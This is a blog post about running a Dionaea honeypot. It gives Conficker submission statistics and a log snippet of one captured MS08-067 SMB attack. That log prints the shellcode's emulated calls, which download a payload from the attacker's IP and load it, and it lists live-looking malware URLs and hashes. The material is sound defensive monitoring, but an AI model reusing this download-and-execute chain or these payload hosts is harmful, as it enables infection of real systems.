I have been using Dionaea for sometime now and found a nice python script from infosanity.co.uk that breaks down the stats of Dionaea’s sqlite database. I run dionaea off one of my external facing static IP addresses through a VM using ESXi 5.0. Most of the malware that I get are variations of Conficker. Here are some stats from the last 1.5 days…
Number of submissions: 18697
Number of unique samples: 182
Number of unique source IPs: 403
First sample seen: 2012-02-14 19:04:46.402556
Last sample seen: 2012-02-16 18:49:55.008578
System Uptime: 1 day, 23:45:08.606022
Average daily submissions: 18697
Most recent submissions:
2012-02-16 18:49:55.008578, 188.121.11.160, http://188.121.11.160:4214/vvpgc, 78c9042bbcefd65beaa0d40386da9f89
2012-02-16 18:49:51.557856, 186.58.161.18, http://186.58.161.18:9036/nfgowil, d45895e3980c96b077cb4ed8dc163db8
2012-02-16 18:49:49.635499, 188.121.11.160, http://188.121.11.160:4214/vvpgc, 78c9042bbcefd65beaa0d40386da9f89
2012-02-16 18:49:44.039425, 186.58.161.18, http://186.58.161.18:9036/nfgowil, d45895e3980c96b077cb4ed8dc163db8
2012-02-16 18:49:43.698489, 188.121.11.160, http://188.121.11.160:4214/vvpgc, 78c9042bbcefd65beaa0d40386da9f89
Additionally, I run another python script that queries the logsql sqlite database for attacks and prints out all related information for every attack: This is the command I use:
./python3.2 ../scripts/readlogsqltree.py -t $(date ‘+%s’)-24*3600 /opt/dionaea/var/dionaea/logsql.sqlite > /root/dionaea.txt
Snippet of results:
2012-02-15 18:56:31
connection 15511 smbd tcp accept x.x.x.x:445 <- 186.58.201.121:1928 (15511 None)
dcerpc bind: uuid ’4b324fc8-1670-01d3-1278-5a47bf6ee188′ (SRVSVC) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
dcerpc request: uuid ’4b324fc8-1670-01d3-1278-5a47bf6ee188′ (SRVSVC) opnum 32 (NetPathCompare (MS08-67))
dcerpc request: uuid ’4b324fc8-1670-01d3-1278-5a47bf6ee188′ (SRVSVC) opnum 31 (NetPathCanonicalize (MS08-67))
profile: [{'return': '0x7df20000', 'args': ['urlmon'], ‘call’: ‘LoadLibraryA’}, {‘return’: ’0′, ‘args’: ['', 'http://186.58.201.121:9036/voshvva', 'x.', '0', '0'], ‘call’: ‘URLDownloadToFile’}, {‘return’: ’0
x00000000′, ‘args’: ['x.'], ‘call’: ‘LoadLibraryA’}, {‘return’: ’0′, ‘args’: ['0'], ‘call’: ‘ExitThread’}]
offer: http://186.58.201.121:9036/voshvva
download: d45895e3980c96b077cb4ed8dc163db8 http://186.58.201.121:9036/voshvva
names
Furthermore, I was digging around and found a nice live boot cd called Mercury-DVD that comes installed for users to perform network forensics and is coupled with a bevy of tools including Dionaea. It can be found here: ftp://ftp.carnivore.it/projects/dionaea/mercury-dvd/


